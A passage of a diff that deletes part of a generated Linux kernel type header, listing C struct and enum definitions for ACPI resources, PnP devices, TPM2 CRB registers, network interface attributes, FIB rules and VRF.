acpi_package_info4 ret_info4; -}; - -struct acpi_evaluate_info { - struct acpi_namespace_node *prefix_node; - const char *relative_pathname; - union acpi_operand_object **parameters; - struct acpi_namespace_node *node; - union acpi_operand_object *obj_desc; - char *full_pathname; - const union acpi_predefined_info *predefined; - union acpi_operand_object *return_object; - union acpi_operand_object *parent_package; - u32 return_flags; - u32 return_btype; - u16 param_count; - u16 node_flags; - u8 pass_number; - u8 return_object_type; - u8 flags; -}; - -struct acpi_fadt_info { - const char *name; - u16 address64; - u16 address32; - u16 length; - u8 default_length; - u8 flags; -}; - -struct acpi_fadt_pm_info { - struct acpi_generic_address *target; - u16 source; - u8 register_num; -}; - -enum { - ACPI_REFCLASS_LOCAL = 0, - ACPI_REFCLASS_ARG = 1, - ACPI_REFCLASS_REFOF = 2, - ACPI_REFCLASS_INDEX = 3, - ACPI_REFCLASS_TABLE = 4, - ACPI_REFCLASS_NAME = 5, - ACPI_REFCLASS_DEBUG = 6, - ACPI_REFCLASS_MAX = 6, -}; - -struct acpi_common_descriptor { - void *common_pointer; - u8 descriptor_type; -}; - -union acpi_descriptor { - struct acpi_common_descriptor common; - union acpi_operand_object object; - struct acpi_namespace_node node; - union acpi_parse_object op; -}; - -typedef acpi_status (*acpi_pkg_callback)(u8, union acpi_operand_object *, union acpi_generic_state *, void *); - -struct acpi_pkg_info { - u8 *free_space; - acpi_size length; - u32 object_space; - u32 num_packages; -}; - -struct pnp_device_id { - __u8 id[8]; - kernel_ulong_t driver_data; -}; - -struct pnp_card_device_id { - __u8 id[8]; - kernel_ulong_t driver_data; - struct { - __u8 id[8]; - } devs[8]; -}; - -struct pnp_protocol; - -struct pnp_id; - -struct pnp_card { - struct device dev; - unsigned char number; - struct list_head global_list; - struct list_head protocol_list; - struct list_head devices; - struct pnp_protocol *protocol; - struct pnp_id *id; - char name[50]; - unsigned char pnpver; - unsigned char productver; - unsigned int serial; - unsigned char checksum; - struct proc_dir_entry *procdir; -}; - -struct pnp_dev; - -struct pnp_protocol { - struct list_head protocol_list; - char *name; - int (*get)(struct pnp_dev *); - int (*set)(struct pnp_dev *); - int (*disable)(struct pnp_dev *); - bool (*can_wakeup)(struct pnp_dev *); - int (*suspend)(struct pnp_dev *, pm_message_t); - int (*resume)(struct pnp_dev *); - unsigned char number; - struct device dev; - struct list_head cards; - struct list_head devices; -}; - -struct pnp_id { - char id[8]; - struct pnp_id *next; -}; - -struct pnp_card_driver; - -struct pnp_card_link { - struct pnp_card *card; - struct pnp_card_driver *driver; - void *driver_data; - pm_message_t pm_state; -}; - -struct pnp_driver { - const char *name; - const struct pnp_device_id *id_table; - unsigned int flags; - int (*probe)(struct pnp_dev *, const struct pnp_device_id *); - void (*remove)(struct pnp_dev *); - void (*shutdown)(struct pnp_dev *); - int (*suspend)(struct pnp_dev *, pm_message_t); - int (*resume)(struct pnp_dev *); - struct device_driver driver; -}; - -struct pnp_card_driver { - struct list_head global_list; - char *name; - const struct pnp_card_device_id *id_table; - unsigned int flags; - int (*probe)(struct pnp_card_link *, const struct pnp_card_device_id *); - void (*remove)(struct pnp_card_link *); - int (*suspend)(struct pnp_card_link *, pm_message_t); - int (*resume)(struct pnp_card_link *); - struct pnp_driver link; -}; - -struct pnp_dev { - struct device dev; - u64 dma_mask; - unsigned int number; - int status; - struct list_head global_list; - struct list_head protocol_list; - struct list_head card_list; - struct list_head rdev_list; - struct pnp_protocol *protocol; - struct pnp_card *card; - struct pnp_driver *driver; - struct pnp_card_link *card_link; - struct pnp_id *id; - int active; - int capabilities; - unsigned int num_dependent_sets; - struct list_head resources; - struct list_head options; - char name[50]; - int flags; - struct proc_dir_entry *procent; - void *data; -}; - -struct tty_audit_buf { - struct mutex mutex; - dev_t dev; - unsigned int icanon: 1; - size_t valid; - unsigned char *data; -}; - -struct resource_win { - struct resource res; - resource_size_t offset; -}; - -struct module_version_attribute { - struct module_attribute mattr; - const char *module_name; - const char *version; -}; - -struct acpi_table_tpm2 { - struct acpi_table_header header; - u16 platform_class; - u16 reserved; - u64 control_address; - u32 start_method; -} __attribute__((packed)); - -struct acpi_resource_irq { - u8 descriptor_length; - u8 triggering; - u8 polarity; - u8 shareable; - u8 wake_capable; - u8 interrupt_count; - u8 interrupts[1]; -}; - -struct acpi_resource_dma { - u8 type; - u8 bus_master; - u8 transfer; - u8 channel_count; - u8 channels[1]; -}; - -struct acpi_resource_start_dependent { - u8 descriptor_length; - u8 compatibility_priority; - u8 performance_robustness; -}; - -struct acpi_resource_io { - u8 io_decode; - u8 alignment; - u8 address_length; - u16 minimum; - u16 maximum; -} __attribute__((packed)); - -struct acpi_resource_fixed_io { - u16 address; - u8 address_length; -} __attribute__((packed)); - -struct acpi_resource_fixed_dma { - u16 request_lines; - u16 channels; - u8 width; -} __attribute__((packed)); - -struct acpi_resource_vendor { - u16 byte_length; - u8 byte_data[1]; -} __attribute__((packed)); - -struct acpi_resource_vendor_typed { - u16 byte_length; - u8 uuid_subtype; - u8 uuid[16]; - u8 byte_data[1]; -}; - -struct acpi_resource_end_tag { - u8 checksum; -}; - -struct acpi_resource_memory24 { - u8 write_protect; - u16 minimum; - u16 maximum; - u16 alignment; - u16 address_length; -} __attribute__((packed)); - -struct acpi_resource_memory32 { - u8 write_protect; - u32 minimum; - u32 maximum; - u32 alignment; - u32 address_length; -} __attribute__((packed)); - -struct acpi_resource_fixed_memory32 { - u8 write_protect; - u32 address; - u32 address_length; -} __attribute__((packed)); - -struct acpi_memory_attribute { - u8 write_protect; - u8 caching; - u8 range_type; - u8 translation; -}; - -struct acpi_io_attribute { - u8 range_type; - u8 translation; - u8 translation_type; - u8 reserved1; -}; - -union acpi_resource_attribute { - struct acpi_memory_attribute mem; - struct acpi_io_attribute io; - u8 type_specific; -}; - -struct acpi_resource_label { - u16 string_length; - char *string_ptr; -} __attribute__((packed)); - -struct acpi_resource_source { - u8 index; - u16 string_length; - char *string_ptr; -} __attribute__((packed)); - -struct acpi_address16_attribute { - u16 granularity; - u16 minimum; - u16 maximum; - u16 translation_offset; - u16 address_length; -}; - -struct acpi_address32_attribute { - u32 granularity; - u32 minimum; - u32 maximum; - u32 translation_offset; - u32 address_length; -}; - -struct acpi_address64_attribute { - u64 granularity; - u64 minimum; - u64 maximum; - u64 translation_offset; - u64 address_length; -}; - -struct acpi_resource_address { - u8 resource_type; - u8 producer_consumer; - u8 decode; - u8 min_address_fixed; - u8 max_address_fixed; - union acpi_resource_attribute info; -}; - -struct acpi_resource_address16 { - u8 resource_type; - u8 producer_consumer; - u8 decode; - u8 min_address_fixed; - u8 max_address_fixed; - union acpi_resource_attribute info; - struct acpi_address16_attribute address; - struct acpi_resource_source resource_source; -} __attribute__((packed)); - -struct acpi_resource_address32 { - u8 resource_type; - u8 producer_consumer; - u8 decode; - u8 min_address_fixed; - u8 max_address_fixed; - union acpi_resource_attribute info; - struct acpi_address32_attribute address; - struct acpi_resource_source resource_source; -} __attribute__((packed)); - -struct acpi_resource_address64 { - u8 resource_type; - u8 producer_consumer; - u8 decode; - u8 min_address_fixed; - u8 max_address_fixed; - union acpi_resource_attribute info; - struct acpi_address64_attribute address; - struct acpi_resource_source resource_source; -} __attribute__((packed)); - -struct acpi_resource_extended_address64 { - u8 resource_type; - u8 producer_consumer; - u8 decode; - u8 min_address_fixed; - u8 max_address_fixed; - union acpi_resource_attribute info; - u8 revision_ID; - struct acpi_address64_attribute address; - u64 type_specific; -} __attribute__((packed)); - -struct acpi_resource_extended_irq { - u8 producer_consumer; - u8 triggering; - u8 polarity; - u8 shareable; - u8 wake_capable; - u8 interrupt_count; - struct acpi_resource_source resource_source; - u32 interrupts[1]; -} __attribute__((packed)); - -struct acpi_resource_generic_register { - u8 space_id; - u8 bit_width; - u8 bit_offset; - u8 access_size; - u64 address; -} __attribute__((packed)); - -struct acpi_resource_gpio { - u8 revision_id; - u8 connection_type; - u8 producer_consumer; - u8 pin_config; - u8 shareable; - u8 wake_capable; - u8 io_restriction; - u8 triggering; - u8 polarity; - u16 drive_strength; - u16 debounce_timeout; - u16 pin_table_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u16 *pin_table; - u8 *vendor_data; -} __attribute__((packed)); - -struct acpi_resource_common_serialbus { - u8 revision_id; - u8 type; - u8 producer_consumer; - u8 slave_mode; - u8 connection_sharing; - u8 type_revision_id; - u16 type_data_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u8 *vendor_data; -} __attribute__((packed)); - -struct acpi_resource_i2c_serialbus { - u8 revision_id; - u8 type; - u8 producer_consumer; - u8 slave_mode; - u8 connection_sharing; - u8 type_revision_id; - u16 type_data_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u8 *vendor_data; - u8 access_mode; - u16 slave_address; - u32 connection_speed; -} __attribute__((packed)); - -struct acpi_resource_spi_serialbus { - u8 revision_id; - u8 type; - u8 producer_consumer; - u8 slave_mode; - u8 connection_sharing; - u8 type_revision_id; - u16 type_data_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u8 *vendor_data; - u8 wire_mode; - u8 device_polarity; - u8 data_bit_length; - u8 clock_phase; - u8 clock_polarity; - u16 device_selection; - u32 connection_speed; -} __attribute__((packed)); - -struct acpi_resource_uart_serialbus { - u8 revision_id; - u8 type; - u8 producer_consumer; - u8 slave_mode; - u8 connection_sharing; - u8 type_revision_id; - u16 type_data_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u8 *vendor_data; - u8 endian; - u8 data_bits; - u8 stop_bits; - u8 flow_control; - u8 parity; - u8 lines_enabled; - u16 rx_fifo_size; - u16 tx_fifo_size; - u32 default_baud_rate; -} __attribute__((packed)); - -struct acpi_resource_csi2_serialbus { - u8 revision_id; - u8 type; - u8 producer_consumer; - u8 slave_mode; - u8 connection_sharing; - u8 type_revision_id; - u16 type_data_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u8 *vendor_data; - u8 local_port_instance; - u8 phy_type; -} __attribute__((packed)); - -struct acpi_resource_pin_function { - u8 revision_id; - u8 pin_config; - u8 shareable; - u16 function_number; - u16 pin_table_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u16 *pin_table; - u8 *vendor_data; -} __attribute__((packed)); - -struct acpi_resource_pin_config { - u8 revision_id; - u8 producer_consumer; - u8 shareable; - u8 pin_config_type; - u32 pin_config_value; - u16 pin_table_length; - u16 vendor_length; - struct acpi_resource_source resource_source; - u16 *pin_table; - u8 *vendor_data; -} __attribute__((packed)); - -struct acpi_resource_pin_group { - u8 revision_id; - u8 producer_consumer; - u16 pin_table_length; - u16 vendor_length; - u16 *pin_table; - struct acpi_resource_label resource_label; - u8 *vendor_data; -} __attribute__((packed)); - -struct acpi_resource_pin_group_function { - u8 revision_id; - u8 producer_consumer; - u8 shareable; - u16 function_number; - u16 vendor_length; - struct acpi_resource_source resource_source; - struct acpi_resource_label resource_source_label; - u8 *vendor_data; -} __attribute__((packed)); - -struct acpi_resource_pin_group_config { - u8 revision_id; - u8 producer_consumer; - u8 shareable; - u8 pin_config_type; - u32 pin_config_value; - u16 vendor_length; - struct acpi_resource_source resource_source; - struct acpi_resource_label resource_source_label; - u8 *vendor_data; -} __attribute__((packed)); - -union acpi_resource_data { - struct acpi_resource_irq irq; - struct acpi_resource_dma dma; - struct acpi_resource_start_dependent start_dpf; - struct acpi_resource_io io; - struct acpi_resource_fixed_io fixed_io; - struct acpi_resource_fixed_dma fixed_dma; - struct acpi_resource_vendor vendor; - struct acpi_resource_vendor_typed vendor_typed; - struct acpi_resource_end_tag end_tag; - struct acpi_resource_memory24 memory24; - struct acpi_resource_memory32 memory32; - struct acpi_resource_fixed_memory32 fixed_memory32; - struct acpi_resource_address16 address16; - struct acpi_resource_address32 address32; - struct acpi_resource_address64 address64; - struct acpi_resource_extended_address64 ext_address64; - struct acpi_resource_extended_irq extended_irq; - struct acpi_resource_generic_register generic_reg; - struct acpi_resource_gpio gpio; - struct acpi_resource_i2c_serialbus i2c_serial_bus; - struct acpi_resource_spi_serialbus spi_serial_bus; - struct acpi_resource_uart_serialbus uart_serial_bus; - struct acpi_resource_csi2_serialbus csi2_serial_bus; - struct acpi_resource_common_serialbus common_serial_bus; - struct acpi_resource_pin_function pin_function; - struct acpi_resource_pin_config pin_config; - struct acpi_resource_pin_group pin_group; - struct acpi_resource_pin_group_function pin_group_function; - struct acpi_resource_pin_group_config pin_group_config; - struct acpi_resource_address address; -}; - -struct acpi_resource { - u32 type; - u32 length; - union acpi_resource_data data; -}; - -typedef int (*acpi_op_add)(struct acpi_device *); - -typedef int (*acpi_op_remove)(struct acpi_device *); - -typedef void (*acpi_op_notify)(struct acpi_device *, u32); - -struct acpi_device_ops { - acpi_op_add add; - acpi_op_remove remove; - acpi_op_notify notify; -}; - -struct acpi_driver { - char name[80]; - char class[80]; - const struct acpi_device_id *ids; - unsigned int flags; - struct acpi_device_ops ops; - struct device_driver drv; - struct module *owner; -}; - -enum TPM_OPS_FLAGS { - TPM_OPS_AUTO_STARTUP = 1, -}; - -enum tpm2_timeouts { - TPM2_TIMEOUT_A = 750, - TPM2_TIMEOUT_B = 2000, - TPM2_TIMEOUT_C = 200, - TPM2_TIMEOUT_D = 30, - TPM2_DURATION_SHORT = 20, - TPM2_DURATION_MEDIUM = 750, - TPM2_DURATION_LONG = 2000, - TPM2_DURATION_LONG_LONG = 300000, - TPM2_DURATION_DEFAULT = 120000, -}; - -enum tpm_chip_flags { - TPM_CHIP_FLAG_TPM2 = 2, - TPM_CHIP_FLAG_IRQ = 4, - TPM_CHIP_FLAG_VIRTUAL = 8, - TPM_CHIP_FLAG_HAVE_TIMEOUTS = 16, - TPM_CHIP_FLAG_ALWAYS_POWERED = 32, - TPM_CHIP_FLAG_FIRMWARE_POWER_MANAGED = 64, - TPM_CHIP_FLAG_FIRMWARE_UPGRADE = 128, -}; - -enum crb_defaults { - CRB_ACPI_START_REVISION_ID = 1, - CRB_ACPI_START_INDEX = 1, -}; - -enum crb_loc_ctrl { - CRB_LOC_CTRL_REQUEST_ACCESS = 1, - CRB_LOC_CTRL_RELINQUISH = 2, -}; - -enum crb_loc_state { - CRB_LOC_STATE_LOC_ASSIGNED = 2, - CRB_LOC_STATE_TPM_REG_VALID_STS = 128, -}; - -enum crb_ctrl_req { - CRB_CTRL_REQ_CMD_READY = 1, - CRB_CTRL_REQ_GO_IDLE = 2, -}; - -enum crb_ctrl_sts { - CRB_CTRL_STS_ERROR = 1, - CRB_CTRL_STS_TPM_IDLE = 2, -}; - -enum crb_start { - CRB_START_INVOKE = 1, -}; - -enum crb_cancel { - CRB_CANCEL_INVOKE = 1, -}; - -struct crb_regs_head { - u32 loc_state; - u32 reserved1; - u32 loc_ctrl; - u32 loc_sts; - u8 reserved2[32]; - u64 intf_id; - u64 ctrl_ext; -}; - -struct crb_regs_tail { - u32 ctrl_req; - u32 ctrl_sts; - u32 ctrl_cancel; - u32 ctrl_start; - u32 ctrl_int_enable; - u32 ctrl_int_sts; - u32 ctrl_cmd_size; - u32 ctrl_cmd_pa_low; - u32 ctrl_cmd_pa_high; - u32 ctrl_rsp_size; - u64 ctrl_rsp_pa; -}; - -enum crb_status { - CRB_DRV_STS_COMPLETE = 1, -}; - -struct crb_priv { - u32 sm; - const char *hid; - struct crb_regs_head *regs_h; - struct crb_regs_tail *regs_t; - u8 *cmd; - u8 *rsp; - u32 cmd_size; - u32 smc_func_id; -}; - -struct tpm2_crb_smc { - u32 interrupt; - u8 interrupt_flags; - u8 op_flags; - u16 reserved2; - u32 smc_func_id; -}; - -enum { - IF_OPER_UNKNOWN = 0, - IF_OPER_NOTPRESENT = 1, - IF_OPER_DOWN = 2, - IF_OPER_LOWERLAYERDOWN = 3, - IF_OPER_TESTING = 4, - IF_OPER_DORMANT = 5, - IF_OPER_UP = 6, -}; - -struct ipv4_devconf { - void *sysctl; - int data[33]; - long unsigned int state[1]; -}; - -enum { - IFLA_UNSPEC = 0, - IFLA_ADDRESS = 1, - IFLA_BROADCAST = 2, - IFLA_IFNAME = 3, - IFLA_MTU = 4, - IFLA_LINK = 5, - IFLA_QDISC = 6, - IFLA_STATS = 7, - IFLA_COST = 8, - IFLA_PRIORITY = 9, - IFLA_MASTER = 10, - IFLA_WIRELESS = 11, - IFLA_PROTINFO = 12, - IFLA_TXQLEN = 13, - IFLA_MAP = 14, - IFLA_WEIGHT = 15, - IFLA_OPERSTATE = 16, - IFLA_LINKMODE = 17, - IFLA_LINKINFO = 18, - IFLA_NET_NS_PID = 19, - IFLA_IFALIAS = 20, - IFLA_NUM_VF = 21, - IFLA_VFINFO_LIST = 22, - IFLA_STATS64 = 23, - IFLA_VF_PORTS = 24, - IFLA_PORT_SELF = 25, - IFLA_AF_SPEC = 26, - IFLA_GROUP = 27, - IFLA_NET_NS_FD = 28, - IFLA_EXT_MASK = 29, - IFLA_PROMISCUITY = 30, - IFLA_NUM_TX_QUEUES = 31, - IFLA_NUM_RX_QUEUES = 32, - IFLA_CARRIER = 33, - IFLA_PHYS_PORT_ID = 34, - IFLA_CARRIER_CHANGES = 35, - IFLA_PHYS_SWITCH_ID = 36, - IFLA_LINK_NETNSID = 37, - IFLA_PHYS_PORT_NAME = 38, - IFLA_PROTO_DOWN = 39, - IFLA_GSO_MAX_SEGS = 40, - IFLA_GSO_MAX_SIZE = 41, - IFLA_PAD = 42, - IFLA_XDP = 43, - IFLA_EVENT = 44, - IFLA_NEW_NETNSID = 45, - IFLA_IF_NETNSID = 46, - IFLA_TARGET_NETNSID = 46, - IFLA_CARRIER_UP_COUNT = 47, - IFLA_CARRIER_DOWN_COUNT = 48, - IFLA_NEW_IFINDEX = 49, - IFLA_MIN_MTU = 50, - IFLA_MAX_MTU = 51, - IFLA_PROP_LIST = 52, - IFLA_ALT_IFNAME = 53, - IFLA_PERM_ADDRESS = 54, - IFLA_PROTO_DOWN_REASON = 55, - IFLA_PARENT_DEV_NAME = 56, - IFLA_PARENT_DEV_BUS_NAME = 57, - IFLA_GRO_MAX_SIZE = 58, - IFLA_TSO_MAX_SIZE = 59, - IFLA_TSO_MAX_SEGS = 60, - IFLA_ALLMULTI = 61, - IFLA_DEVLINK_PORT = 62, - __IFLA_MAX = 63, -}; - -enum { - IFLA_VRF_UNSPEC = 0, - IFLA_VRF_TABLE = 1, - __IFLA_VRF_MAX = 2, -}; - -enum { - IFLA_VRF_PORT_UNSPEC = 0, - IFLA_VRF_PORT_TABLE = 1, - __IFLA_VRF_PORT_MAX = 2, -}; - -enum netdev_state_t { - __LINK_STATE_START = 0, - __LINK_STATE_PRESENT = 1, - __LINK_STATE_NOCARRIER = 2, - __LINK_STATE_LINKWATCH_PENDING = 3, - __LINK_STATE_DORMANT = 4, - __LINK_STATE_TESTING = 5, -}; - -struct pcpu_dstats { - u64 tx_pkts; - u64 tx_bytes; - u64 tx_drps; - u64 rx_pkts; - u64 rx_bytes; - u64 rx_drps; - struct u64_stats_sync syncp; -}; - -struct in_ifaddr; - -struct ip_mc_list; - -struct in_device { - struct net_device *dev; - netdevice_tracker dev_tracker; - refcount_t refcnt; - int dead; - struct in_ifaddr *ifa_list; - struct ip_mc_list *mc_list; - struct ip_mc_list **mc_hash; - int mc_count; - spinlock_t mc_tomb_lock; - struct ip_mc_list *mc_tomb; - long unsigned int mr_v1_seen; - long unsigned int mr_v2_seen; - long unsigned int mr_maxdelay; - long unsigned int mr_qi; - long unsigned int mr_qri; - unsigned char mr_qrv; - unsigned char mr_gq_running; - u32 mr_ifc_count; - struct timer_list mr_gq_timer; - struct timer_list mr_ifc_timer; - struct neigh_parms *arp_parms; - struct ipv4_devconf cnf; - struct callback_head callback_head; -}; - -enum netdev_cmd { - NETDEV_UP = 1, - NETDEV_DOWN = 2, - NETDEV_REBOOT = 3, - NETDEV_CHANGE = 4, - NETDEV_REGISTER = 5, - NETDEV_UNREGISTER = 6, - NETDEV_CHANGEMTU = 7, - NETDEV_CHANGEADDR = 8, - NETDEV_PRE_CHANGEADDR = 9, - NETDEV_GOING_DOWN = 10, - NETDEV_CHANGENAME = 11, - NETDEV_FEAT_CHANGE = 12, - NETDEV_BONDING_FAILOVER = 13, - NETDEV_PRE_UP = 14, - NETDEV_PRE_TYPE_CHANGE = 15, - NETDEV_POST_TYPE_CHANGE = 16, - NETDEV_POST_INIT = 17, - NETDEV_PRE_UNINIT = 18, - NETDEV_RELEASE = 19, - NETDEV_NOTIFY_PEERS = 20, - NETDEV_JOIN = 21, - NETDEV_CHANGEUPPER = 22, - NETDEV_RESEND_IGMP = 23, - NETDEV_PRECHANGEMTU = 24, - NETDEV_CHANGEINFODATA = 25, - NETDEV_BONDING_INFO = 26, - NETDEV_PRECHANGEUPPER = 27, - NETDEV_CHANGELOWERSTATE = 28, - NETDEV_UDP_TUNNEL_PUSH_INFO = 29, - NETDEV_UDP_TUNNEL_DROP_INFO = 30, - NETDEV_CHANGE_TX_QUEUE_LEN = 31, - NETDEV_CVLAN_FILTER_PUSH_INFO = 32, - NETDEV_CVLAN_FILTER_DROP_INFO = 33, - NETDEV_SVLAN_FILTER_PUSH_INFO = 34, - NETDEV_SVLAN_FILTER_DROP_INFO = 35, - NETDEV_OFFLOAD_XSTATS_ENABLE = 36, - NETDEV_OFFLOAD_XSTATS_DISABLE = 37, - NETDEV_OFFLOAD_XSTATS_REPORT_USED = 38, - NETDEV_OFFLOAD_XSTATS_REPORT_DELTA = 39, -}; - -struct netdev_notifier_info { - struct net_device *dev; - struct netlink_ext_ack *extack; -}; - -enum { - IPV4_DEVCONF_FORWARDING = 1, - IPV4_DEVCONF_MC_FORWARDING = 2, - IPV4_DEVCONF_PROXY_ARP = 3, - IPV4_DEVCONF_ACCEPT_REDIRECTS = 4, - IPV4_DEVCONF_SECURE_REDIRECTS = 5, - IPV4_DEVCONF_SEND_REDIRECTS = 6, - IPV4_DEVCONF_SHARED_MEDIA = 7, - IPV4_DEVCONF_RP_FILTER = 8, - IPV4_DEVCONF_ACCEPT_SOURCE_ROUTE = 9, - IPV4_DEVCONF_BOOTP_RELAY = 10, - IPV4_DEVCONF_LOG_MARTIANS = 11, - IPV4_DEVCONF_TAG = 12, - IPV4_DEVCONF_ARPFILTER = 13, - IPV4_DEVCONF_MEDIUM_ID = 14, - IPV4_DEVCONF_NOXFRM = 15, - IPV4_DEVCONF_NOPOLICY = 16, - IPV4_DEVCONF_FORCE_IGMP_VERSION = 17, - IPV4_DEVCONF_ARP_ANNOUNCE = 18, - IPV4_DEVCONF_ARP_IGNORE = 19, - IPV4_DEVCONF_PROMOTE_SECONDARIES = 20, - IPV4_DEVCONF_ARP_ACCEPT = 21, - IPV4_DEVCONF_ARP_NOTIFY = 22, - IPV4_DEVCONF_ACCEPT_LOCAL = 23, - IPV4_DEVCONF_SRC_VMARK = 24, - IPV4_DEVCONF_PROXY_ARP_PVLAN = 25, - IPV4_DEVCONF_ROUTE_LOCALNET = 26, - IPV4_DEVCONF_IGMPV2_UNSOLICITED_REPORT_INTERVAL = 27, - IPV4_DEVCONF_IGMPV3_UNSOLICITED_REPORT_INTERVAL = 28, - IPV4_DEVCONF_IGNORE_ROUTES_WITH_LINKDOWN = 29, - IPV4_DEVCONF_DROP_UNICAST_IN_L2_MULTICAST = 30, - IPV4_DEVCONF_DROP_GRATUITOUS_ARP = 31, - IPV4_DEVCONF_BC_FORWARDING = 32, - IPV4_DEVCONF_ARP_EVICT_NOCARRIER = 33, - __IPV4_DEVCONF_MAX = 34, -}; - -enum { - RTN_UNSPEC = 0, - RTN_UNICAST = 1, - RTN_LOCAL = 2, - RTN_BROADCAST = 3, - RTN_ANYCAST = 4, - RTN_MULTICAST = 5, - RTN_BLACKHOLE = 6, - RTN_UNREACHABLE = 7, - RTN_PROHIBIT = 8, - RTN_THROW = 9, - RTN_NAT = 10, - RTN_XRESOLVE = 11, - __RTN_MAX = 12, -}; - -enum rt_scope_t { - RT_SCOPE_UNIVERSE = 0, - RT_SCOPE_SITE = 200, - RT_SCOPE_LINK = 253, - RT_SCOPE_HOST = 254, - RT_SCOPE_NOWHERE = 255, -}; - -enum rt_class_t { - RT_TABLE_UNSPEC = 0, - RT_TABLE_COMPAT = 252, - RT_TABLE_DEFAULT = 253, - RT_TABLE_MAIN = 254, - RT_TABLE_LOCAL = 255, - RT_TABLE_MAX = 4294967295, -}; - -struct nl_info { - struct nlmsghdr *nlh; - struct net *nl_net; - u32 portid; - u8 skip_notify: 1; - u8 skip_notify_kernel: 1; -}; - -struct in_ifaddr { - struct hlist_node hash; - struct in_ifaddr *ifa_next; - struct in_device *ifa_dev; - struct callback_head callback_head; - __be32 ifa_local; - __be32 ifa_address; - __be32 ifa_mask; - __u32 ifa_rt_priority; - __be32 ifa_broadcast; - unsigned char ifa_scope; - unsigned char ifa_prefixlen; - unsigned char ifa_proto; - __u32 ifa_flags; - char ifa_label[16]; - __u32 ifa_valid_lft; - __u32 ifa_preferred_lft; - long unsigned int ifa_cstamp; - long unsigned int ifa_tstamp; -}; - -enum { - FRA_UNSPEC = 0, - FRA_DST = 1, - FRA_SRC = 2, - FRA_IIFNAME = 3, - FRA_GOTO = 4, - FRA_UNUSED2 = 5, - FRA_PRIORITY = 6, - FRA_UNUSED3 = 7, - FRA_UNUSED4 = 8, - FRA_UNUSED5 = 9, - FRA_FWMARK = 10, - FRA_FLOW = 11, - FRA_TUN_ID = 12, - FRA_SUPPRESS_IFGROUP = 13, - FRA_SUPPRESS_PREFIXLEN = 14, - FRA_TABLE = 15, - FRA_FWMASK = 16, - FRA_OIFNAME = 17, - FRA_PAD = 18, - FRA_L3MDEV = 19, - FRA_UID_RANGE = 20, - FRA_PROTOCOL = 21, - FRA_IP_PROTO = 22, - FRA_SPORT_RANGE = 23, - FRA_DPORT_RANGE = 24, - __FRA_MAX = 25, -}; - -enum { - FR_ACT_UNSPEC = 0, - FR_ACT_TO_TBL = 1, - FR_ACT_GOTO = 2, - FR_ACT_NOP = 3, - FR_ACT_RES3 = 4, - FR_ACT_RES4 = 5, - FR_ACT_BLACKHOLE = 6, - FR_ACT_UNREACHABLE = 7, - FR_ACT_PROHIBIT = 8, - __FR_ACT_MAX = 9, -}; - -enum l3mdev_type { - L3MDEV_TYPE_UNSPEC = 0, - L3MDEV_TYPE_VRF = 1, - __L3MDEV_TYPE_MAX = 2, -}; - -typedef int (*lookup_by_table_id_t)(struct net *, u32); - -struct fib6_result; - -struct fib6_config; - -struct ipv6_stub { - int (*ipv6_sock_mc_join)(struct sock *, int, const struct in6_addr *); - int (*ipv6_sock_mc_drop)(struct sock *, int, const struct in6_addr *); - struct dst_entry * (*ipv6_dst_lookup_flow)(struct net *, const struct sock *, struct flowi6 *, const struct in6_addr *); - int (*ipv6_route_input)(struct sk_buff *); - struct fib6_table * (*fib6_get_table)(struct net *, u32); - int (*fib6_lookup)(struct net *, int, struct flowi6 *, struct fib6_result *, int); - int (*fib6_table_lookup)(struct net *, struct fib6_table *, int, struct flowi6 *, struct fib6_result *, int); - void (*fib6_select_path)(const struct net *, struct fib6_result *, struct flowi6 *, int, bool, const struct sk_buff *, int); - u32 (*ip6_mtu_from_fib6)(const struct fib6_result *, const struct in6_addr *, const struct in6_addr *); - int (*fib6_nh_init)(struct net *, struct fib6_nh *, struct fib6_config *, gfp_t, struct netlink_ext_ack *); - void (*fib6_nh_release)(struct fib6_nh *); - void (*fib6_nh_release_dsts)(struct fib6_nh *); - void (*fib6_update_sernum)(struct net *, struct fib6_info *); - int (*ip6_del_rt)(struct net *, struct fib6_info *, bool); - void (*fib6_rt_update)(struct net *, struct fib6_info *, struct nl_info *); - void (*udpv6_encap_enable)(); - void (*ndisc_send_na)(struct net_device *, const struct in6_addr *, const struct in6_addr *, bool, bool, bool, bool); - void (*xfrm6_local_rxpmtu)(struct sk_buff *, u32); - int (*xfrm6_udp_encap_rcv)(struct sock *, struct sk_buff *); - int (*xfrm6_rcv_encap)(struct sk_buff *, int, __be32, int); - struct neigh_table *nd_tbl; - int (*ipv6_fragment)(struct net *, struct sock *, struct sk_buff *, int (*)(struct net *, struct sock *, struct sk_buff *)); - struct net_device * (*ipv6_dev_find)(struct net *, const struct in6_addr *, struct net_device *); -}; - -struct fib6_result { - struct fib6_nh *nh; - struct fib6_info *f6i; - u32 fib6_flags; - u8 fib6_type; - struct rt6_info *rt6; -}; - -struct fib6_config { - u32 fc_table; - u32 fc_metric; - int fc_dst_len; - int fc_src_len; - int fc_ifindex; - u32 fc_flags; - u32 fc_protocol; - u16 fc_type; - u16 fc_delete_all_nh: 1; - u16 fc_ignore_dev_down: 1; - u16 __unused: 14; - u32 fc_nh_id; - struct in6_addr fc_dst; - struct in6_addr fc_src; - struct in6_addr fc_prefsrc; - struct in6_addr fc_gateway; - long unsigned int fc_expires; - struct nlattr *fc_mx; - int fc_mx_len; - int fc_mp_len; - struct nlattr *fc_mp; - struct nl_info fc_nlinfo; - struct nlattr *fc_encap; - u16 fc_encap_type; - bool fc_is_fdb; -}; - -struct vrf_map { - struct hlist_head ht[16]; - spinlock_t vmap_lock; - u32 shared_tables; - bool strict_mode; -}; - -struct vrf_map_elem { - struct hlist_node hnode; - struct list_head vrf_list; - u32 table_id; - int users; - int ifindex; -}; - -struct netns_vrf { - bool add_fib_rules; - struct vrf_map vmap; - struct ctl_table_header *ctl_hdr; -}; - -struct net_vrf { - struct rtable *rth; - struct rt6_info *rt6; - struct fib6_table *fib6_table; - u32 tb_id; - struct list_head me_list; - int ifindex; -}; - -struct skb_gso_cb { - union { - int mac_offset; - int data_offset; - }; - int encap_level; - __wsum csum; - __u16 csum_start; -}; - -struct offload_callbacks { - struct sk_buff * (*gso_segment)(struct sk_buff *, netdev_features_t); - struct sk_buff * (*gro_receive)(struct list_head *, struct sk_buff *); - int (*gro_complete)(struct 